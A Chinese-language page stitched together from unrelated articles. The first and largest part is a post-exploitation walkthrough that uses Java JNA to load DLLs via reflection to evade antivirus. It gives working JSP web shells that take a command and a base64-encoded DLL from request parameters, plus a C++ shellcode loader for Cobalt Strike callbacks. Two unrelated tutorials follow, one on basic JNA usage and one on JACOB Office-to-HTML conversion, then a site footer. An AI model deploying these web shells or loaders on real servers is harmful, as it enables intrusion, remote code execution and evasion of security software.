在一次实际项目中遇到了无法调用exe可执行文件,利用JNA技术实现了内存加载exe、执行命令等操作,特来实践一下。
JNA全称:Java Native Access,是建立在JNI(Java Native Interface)技术之上的Java开源框架,JNA提供了一组Java工具类用于在运行期间动态访问的系统本地库。
简单理解就是:JNA提供了一个"桥梁",可以利用Java代码直接访问动态链接库中的函数。
调用JNI接口的步骤为:
以windows为例,使用Visual Studio 创建一个动态链接库的工程,并定义一个头文件testdll.h和源文件testdll.cpp。
简单实现一个SayHello的方法
创建testdll.cpp,作用是用来实现被声明的函数。
#include "pch.h"
#include "testdll.h"
void SayHello()
{
std::cout << "Hello!你成功了!" << std::endl;
}
创建testdll.h头文件,作用是用来声明需要导出的函数接口
#pragma once
#include <iostream>
extern "C" __declspec(dllexport) void SayHello();
//声明一个可被调用的函数“SayHello()”,它的返回类型是void。
//extern "C"的作用是告诉编译器将被它修饰的代码按C语言的方式进行编译
//__declspec(dllexport),此修饰符告诉编译器和链接器被它修饰的函数或变量需要从DLL导出
而后编译出dll。
注意:要DLL位数要与JDK位数相同,否则无法调用。
首先创建java工程,可以是普通项目也可以是maven功能。
maven 需要导入依赖
<dependency>
<groupId>net.java.dev.jna</groupId>
<artifactId>jna</artifactId>
<version>5.13.0</version>
</dependency>
<dependency>
<groupId>net.java.dev.jna</groupId>
<artifactId>jna-platform</artifactId>
<version>5.13.0</version>
</dependency>
普通工程可以在 https://github.com/java-native-access/jna 下载jna jar包和platform jar包并导入。
我们需要继承Library类接口,调用Native类的load方法将我们的testdll.dll加载进来并转换为本地库,而后声明SayHello方法。
public interface Mydll extends Library {
Mydll mydll=(Mydll)Native.load("testdll",Mydll.class);
void SayHello();
}
调用时不需要链接库的后缀,会自动加上。
声明SayHello方法时,结合testdll.h头文件,没有返回值为void,也没有需要的数据类型。(需要的话可查找JNA 数据类型对应关系)
然后在主方法里调用SayHello方法
public static void main(String[] args) {
Mydll.mydll.SayHello();
}
可以看到成功调用了testdll.dll的SayHello方法。
在上面的代码中,我们直接利用Native.load将dll转换为本地库,在此之前缺少了加载这一步。
常见的加载动态链接库有三种方法:
在使用时也有一些区别:load接收的是系统的绝对路径,loadLibrary接收的是相对路径。
但实际利用过程中肯定是绝对路径优先于相对路径。
以Runtime.getRuntime().load为例:
但实际利用可能会被安全软件捕捉。我们反射调用loadLibrary方法。
代码来自Java加载动态链接库这篇文章
try {
Class clazz=Class.forName("java.lang.ClassLoader");
java.lang.reflect.Method method=clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
method.setAccessible(true);
method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true);
Mydll mydll=(Mydll)Native.load("testdll",Mydll.class);
mydll.SayHello();
}catch (Exception e){
e.printStackTrace();
}
现在我们想一下具体场景的利用,在此基础上调整我们的代码。
既然jna加载动态链接库后转换为本地库,可以调用dll的任意方法,那实现一个命令执行应该也是可以的。
#include "pch.h"
#include "command.h"
#include <cstdlib>
#include <string>
void executeCommand(const char* command) {
char psBuffer[128];
FILE* pPipe;
if ((pPipe=_popen(command, "r"))==NULL)
{
exit(1);
}
while (fgets(psBuffer, 128, pPipe))
{
puts(psBuffer);
}
int endOfFileVal=feof(pPipe);
int closeReturnVal=_pclose(pPipe);
if (endOfFileVal)
{
printf("\nProcess returned %d\n", closeReturnVal);
}
else
{
printf("Error: Failed to read the pipe to the end.\n");
}
}
相应的头文件
#pragma once
#include <iostream>
extern "C" __declspec(dllexport) void executeCommand(const char* command);
java代码加载并调用。
import com.sun.jna.Library;
import com.sun.jna.Native;
public class test {
public interface Mydll extends Library {
void executeCommand(String command);
}
public static void main(String[] args) {
try {
Class clazz=Class.forName("java.lang.ClassLoader");
java.lang.reflect.Method method=clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
method.setAccessible(true);
method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true);
Mydll mydll=(Mydll)Native.load("testdll",Mydll.class);
mydll.executeCommand("ipconfig");
}catch (Exception e){
e.printStackTrace();
}
}
}
成功实现。结合实际利用我们还需要优化一下代码,改成jsp脚本文件。因为com.sun.jna包是第三方包,在实际利用肯定没有。所以这里选择将自己写的代码和jna.jar一块用maven打包为maven02-1.0-SNAPSHOT-jar-with-dependencies.jar试试。
再把test类名修改为show,把dll动态链接库和将要执行的命令作为参数传递进去。
现在还差一个加载外部的jar包并调用方法的jsp脚本文件。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%
String path="file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
URLClassLoader urlClassLoader=null;
Class<?> MyTest=null;
//通过URLClassLoader加载外部jar
urlClassLoader=new URLClassLoader(new URL[]{new URL(path)});
//获取外部jar里面的具体类对象
MyTest=urlClassLoader.loadClass("com.jna.jnatest");
//创建对象实例
Object instance=MyTest.newInstance();
//获取实例当中的方法名为show
Method method=MyTest.getMethod("show", String.class,String.class);
//传入实例以及方法参数信息执行这个方法
Object ada=method.invoke(instance, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll","whoami");
%>
这样用的时候需要向目标服务器手动上传两个文件,jar包和dll文件。我们再进一步优化一下。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%!
private String getFileName(){
String fileName="";
java.util.Random random=new java.util.Random(System.currentTimeMillis());
String os=System.getProperty("os.name").toLowerCase();
if (os.contains("windows")){
fileName="C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
}else {
fileName="/tmp/"+ random.nextInt(10000000) + ".so";
}
return fileName;
}
public String UploadBase64DLL(String base64) throws Exception {
sun.misc.BASE64Decoder b=new sun.misc.BASE64Decoder();
java.io.File file=new java.io.File(getFileName());
java.io.FileOutputStream fos=new java.io.FileOutputStream(file);
fos.write(b.decodeBuffer(base64));
fos.close();
return file.getAbsolutePath();
}
%>
<%
try{
String cmd=request.getParameter("cmd");
String base64=request.getParameter("base64");
String file=UploadBase64DLL(base64);
String path="file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
//通过URLClassLoader加载外部jar
URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL(path)});
//获取外部jar里面的具体类对象
Class<?> MyTest=urlClassLoader.loadClass("com.jna.jnatest");
//创建对象实例
Object instance=MyTest.newInstance();
//获取实例当中的方法名为show,参数只有一个且类型为string的public方法
Method method=MyTest.getMethod("show", String.class,String.class);
//传入实例以及方法参数信息执行这个方法
Object ada=method.invoke(instance, file,cmd);
}
catch (Exception e){
out.println(e);
}
%>
现在只需要手动上传一个jar包就可以,dll通过base64编码上传上去。这样参数值就是base64编码之后的dll和cmd要执行的系统命令。
唯一的缺点就是不能在前端显示,或许将代码加入到冰蝎可以实现?
既然前端无法获取结果,那直接加载shellcode上线cs呢?
我们利用同样的方式写出加载shellcode的代码。
shellcode.cpp
#include "shellcode.h"
#include <iostream>
using namespace std;
void shellcode(PCHAR code, DWORD buf_len) {
cout << buf_len << endl;
DWORD oldprotect=0;
LPVOID base_addr=NULL;
// 申请一块buf_len长度大小的空间,RW权限,不要开rwx,PAGE_EXECUTE_READWRITE
base_addr=VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 复制shellcode到新的空间,这个函数比较罕见,用memcpy也可以呀
unsigned char HexNumArray[4096];
int num=HexStr2HexNum(code, buf_len, HexNumArray);
RtlMoveMemory(base_addr, HexNumArray, buf_len);
// 修改为执行RX权限
VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect);
cout << "starting spawn shellcode" << endl;
// 当前进程创建线程执行shellcode
auto ct=CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);
// 等待线程返回值
WaitForSingleObject(ct, -1);
// 释放内存
free(base_addr);
}
int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray)
{
int j=0;
for (int i=0; i < len; i +=2)
{
if (HexStrArray[i]==0x5C || HexStrArray[i]==0x58 || HexStrArray[i]==0x78)
{
continue;
}
char HIGH_BYTE=0;
char LOW_BYTE=0;
//high 4
if (HexStrArray[i] >=0x30 && HexStrArray[i] <=0x3A)
{
HIGH_BYTE=HexStrArray[i] - 0x30;
}
else if (HexStrArray[i] >=0x41 && HexStrArray[i] <=0x47)
{
HIGH_BYTE=HexStrArray[i] - 0x37;
}
else if (HexStrArray[i] >=0x61 && HexStrArray[i] <=0x67)
{
HIGH_BYTE=HexStrArray[i] - 0x57;
}
else
{
printf("Please make sure the format of Hex String is correct!\r\n");
printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i);
return -1;
}
//low 4
if (HexStrArray[i + 1] >=0x30 && HexStrArray[i + 1] <=0x3A)
{
LOW_BYTE=HexStrArray[i + 1] - 0x30;
}
else if (HexStrArray[i + 1] >=0x41 && HexStrArray[i + 1] <=0x47)
{
LOW_BYTE=HexStrArray[i + 1] - 0x37;
}
else if (HexStrArray[i + 1] >=0x61 && HexStrArray[i + 1] <=0x67)
{
LOW_BYTE=HexStrArray[i + 1] - 0x57;
}
else
{
printf("Please make sure the format of Hex String is correct!\r\n");
printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i);
return -1;
}
HexNumArray[j] &=0x0F;
HexNumArray[j] |=(HIGH_BYTE << 4);
HexNumArray[j] &=0xF0;
HexNumArray[j] |=LOW_BYTE;
j++;
}
return 0;
}
shellcode.h
#pragma once
#include <Windows.h>
extern "C" __declspec(dllexport) BOOL shellcode(PCHAR code, DWORD size);
int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray);
在java里加载并调用,传入shellcode和长度。以达到更好的免杀性。
import java.util.Base64;
import com.sun.jna.Library;
import com.sun.jna.Native;
public class test {
public interface Mydll extends Library {
void shellcode(byte[] b,int length);
}
public static void show(String base64,String dllpath,String dllname) {
try {
Class clazz=Class.forName("java.lang.ClassLoader");
java.lang.reflect.Method method=clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
method.setAccessible(true);
method.invoke(null, clazz, dllpath, true);
Mydll mydll=(Mydll)Native.load(dllname,Mydll.class);
byte[] base64decodedBytes=java.util.Base64.getDecoder().decode(base64);
int leng=base64decodedBytes.length;
mydll.shellcode(base64decodedBytes,leng);
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) {
String base64encodedString="XHhmY1x4NDhxxxxxxxxxxxxxxx";
show(base64encodedString,"C:\\Windows\\Temp\\jna.dll","jna");
}
}
此时只需要将shellcode值base64编码当做字符传递即可。测试一下
可以看到正常上线,进程为javaw.exe。
那在实际环境中同样不能这样利用。依旧把java代码打包为jar包,再修改一下jsp脚本文件应该就可以在实际运行了。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%!
private String getFileName(String dllname){
String fileName="";
String os=System.getProperty("os.name").toLowerCase();
if (os.contains("windows")){
fileName="C:\\Windows\\Temp\\" + dllname + ".dll";
}else {
fileName="/tmp/"+ dllname + ".so";
}
return fileName;
}
public String UploadBase64DLL(String base64,String dllname) throws Exception {
sun.misc.BASE64Decoder b=new sun.misc.BASE64Decoder();
java.io.File file=new java.io.File(getFileName(dllname));
java.io.FileOutputStream fos=new java.io.FileOutputStream(file);
fos.write(b.decodeBuffer(base64));
fos.close();
return file.getAbsolutePath();
}
%>
<%
try{
String shellcode=request.getParameter("shellcode");
String base64dll=request.getParameter("base64dll");
String dllname=request.getParameter("dllname");
String pathdll=UploadBase64DLL(base64dll,dllname);
String path="file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL(path)});
Class<?> MyTest=urlClassLoader.loadClass("com.jna.jnatest");
Object instance=MyTest.newInstance();
Method method=MyTest.getMethod("show", String.class,String.class,String.class);
Object ada=method.invoke(instance,shellcode, pathdll,dllname);
}
catch (Exception e){
out.println(e);
}
%>
以tomcat为例,shellcode 即将cobaltstrike的shellcode进行base64编码,base64dll 是base64编码dll动态链接库之后的值,dllname即是dll动态链接库的名称。
测试可以正常上线执行命令。上线进程为java.exe。
在学习JNA调用动态链接库的时候,借鉴了很多思路,用稍微复杂点的办法完善自己的代码,来曲折得实现效果。
from https://www.freebuf.com/articles/web/365421.html
JNA(Java Native Access )提供一组Java工具类用于在运行期动态访问系统本地库(native library:如Window的dll)而不需要编写任何Native/JNI代码。开发人员只要在一个java接口中描述目标native library的函数与结构,JNA将自动实现Java接口到native function的映射。
https://github.com/java-native-access/jna
https://java-native-access.github.io/jna/5.3.0/javadoc/
JNA可以让你像调用一般java方法一样直接调用本地方法。就和直接执行本地方法差不多,而且调用本地方法还不用额外的其他处理或者配置什么的,也不需要多余的引用或者编码,使用很方便。
JNA类库使用一个很小的本地类库sub动态的调用本地代码。程序员只需要使用一个特定的java接口描述一下将要调用的本地代码的方法的结构和一些基本属性。这样就省了为了适配多个平台而大量的配置和编译代码。因为调用的都是JNA提供的公用jar 包中的接口。
JNA是建立在JNI技术基础之上的一个Java类库,原来使用JNI,你必须手工用C写一个动态链接库,在C语言中映射Java的数据类型。JNA中,它提供了一个动态的C语言编写的转发器,可以自动实现Java和C的数据类型映射。你不再需要编写C动态链接库。当然,这也意味着,使用JNA技术比使用JNI技术调用动态链接库会有些微的性能损失。可能速度会降低几倍。但影响不大。
其实很多情况下,jna.jar就完全满足一般项目开发的需要了,比如数据 类型的映射和常用的方法等等,这些C/C++中基础的映射已经可以实现,包括一些基本的平台方法,但是,真实涉及到比较深入的平台方法的时候,就需要platform.jar的帮助了,platform.jar是依赖于jna.jar实现的,包括了FileMonitor、FileUtils、KeyboardUtils、WindowUtil等Win32和平台相关的简化动态访问功能类中的大部分常用方法,为开发者开发自己的跨平台映射方法提供参考。
所以platform.jar对于jna.jar是一种补充和扩展,jna.jar相当于核,platfrorm.jar相当于增量插件。
<dependency>
<groupId>net.java.dev.jna</groupId>
<artifactId>jna</artifactId>
<version>5.13.0</version>
</dependency>
<dependency>
<groupId>net.java.dev.jna</groupId>
<artifactId>jna-platform</artifactId>
<version>5.13.0</version>
</dependency>
使用的函数必须与链接库中的函数原型保持一致,这是JNA甚至所有跨平台调用的难点,因为C/C++的类型与Java的类型是不一样的,必须转换成java对应类型让它们保持一致,这就是类型映射(Type Mappings),JNA官方给出的默认类型映射表如下:
其中类型映射的难点在于结构体、指针和函数回调。
#ifndef _TestJna_h
#define _TestJna_h
#ifdef __cplusplus
extern "C" {
#endif
int add(int a, int b);
int sub(int a, int b);
#ifdef __cplusplus
}
#endif
#endif
#include "TestJna.h"
extern "C" int add(int a, int b){
return a+b;
}
extern "C" int sub(int a, int b){
return a-b;
}
注意:一定要加extern "C"否则生成的方法名跟cpp文件定义的方法名不一致。
查看so方法名
nm -D libTestJnaEx.so | grep add
nm -D libTestJnaEx.so | grep sub
g++ TestJna.cpp -fPIC -shared -o libTestJnaEx.so
cp libTestJnaEx.so /usr/lib
import com.sun.jna.Library;
import com.sun.jna.Native;
public class TestJnaEx {
public interface CLibrary extends Library {
CLibrary INSTANCE=(CLibrary) Native.load("TestJnaEx", CLibrary.class);
int add(int a, int b);
int sub(int a, int b);
}
public static void main(String[] args) {
int sum=CLibrary.INSTANCE.add(2, 3);
System.out.println(sum);
int diff=CLibrary.INSTANCE.sub(5, 3);
System.out.println(diff);
}
}
导出可执行jar文件TestJnaEx.jar
java -jar TestJnaEx.jar
结果
师傅领进门,修行在个人。
天,写了一篇复杂word模板导出的设置,好多粉丝都私信问我如何实现在线预览的功能~~
那么我们今天就重点来讲讲office文档(word、excel、ppt、pdf)如何通过java在windows以及linux服务器环境下实现在线预览的效果~~
一:windows篇
如果你的服务器部署在windows下面,要想实现office文档的在线预览功能,就比较的简单了,目前主流的工作有JNA调用方式、openoffice服务调用转换方式等等。
但是,个人并不推荐使用openoffice,因为他在转换时,会出现文件变形、字符乱码、XML格式转换无效、大文件转换超时失败等等一系列让你很尴尬的问题!
那么,既然是在windows服务器,我觉得最简单实用的方式就是JNA调用方式。
目前,应用比较普及的是jcom、jacob插件,jcom仅仅支持32位jdk,所以还是选择jacob比较方便,相关的jacob.dll去网上下载即可,百度一下,一大把~~~~
jacob(即:JAva COm Bridge)配置,首先需要将下载的jacob.dll文件拷贝到C:/WINDOWS/system32目录下,并将jacob.jar添加到CLASSPATH中。
那么此时,所有的office都可以调用其“另存为”的功能,可以另存为PDF、HTML、JPG等等许许多多的格式,进而可以加载转换后的路径,实现在线预览。
那么,我们就重点一步一步来讲一下,如何通过JACOB调用com组件的另存为的功能~~~
1:ComThread.InitSTA(); com组件线程的初始化
2:ActiveXComponent app=null;
app=new ActiveXComponent("Powerpoint.Application"); ---PPT
app=new ActiveXComponent("Word.Application"); ---WORD
app=new ActiveXComponent("Excel.Application"); ---Excel
启动 ppt、word、excel的com组件
扩展一下:JACOB获取com组件的类型包括
jacob常用的com组件
3:组件的属性设置
app.setProperty("Visible", false); ----不可见,另存转换时,设置文档不可见
此处一直没有找到一个最全的属性设置的方法名的API手册,大家有的话希望能给我分享一下。
4:获取文档控制权
Dispatch docs=app.getProperty("Documents").toDispatch();
Workbooks---Excel
Presentations ---PPT
Documents---WORD
5:把目标文档的内容,赋给当前新建的文档
Dispatch doc=Dispatch.call(docs,"Open",sourceUrl,false,true ).toDispatch();
docs----新起的com文档 ;Open-----打开文档
sourceUrl----目标文档路径;false---是否确认转换;true----是否只读
6:调用“另存为”方法,比如另存为HTML
Dispatch.invoke(doc, "SaveAs", Dispatch.Method, new Object[] {htmlfileUrl, new Variant(10) }, new int[1]);
htmlfileUrl-----为word另存为HTML的路径地址
“10”-----这个参数就是代表的是,另存为HTML格式。
7:关闭当前文档并退出!!!!!!!
Variant f=new Variant(false);
Dispatch.call(doc, "Close", f);
app.invoke("Quit", new Variant[] {});
其实,说这么多,也就是调用了一个另存为的功能。其实JACOB还有许许多多的功能,比如对于文档内容、域、书签等等操作还需要对JACOB以及相关com组件自己的API方法加深查看~~
下面就贴一些为了实现《另存为》转换的三种office文档的代码吧~~
word转HTML
excel转HTML
PPT转图片文件夹
最后,可以通过调用相关的html的地址、pdf的地址、图片文件夹的地址(PPT转成图片文件夹时,都按照PPT的顺序排好了顺序),就可以实现在线预览了~~~这种方式word不会变形、xls不管有多少sheet页也不会变形、ppt顺序不会混乱~~~
那么下一篇,我们就重点说一下在LINUX环境下,如何实现这些功能!因为LINUX无法调用JNA组件!!!!
*请认真填写需求信息,我们会在24小时内与您取得联系。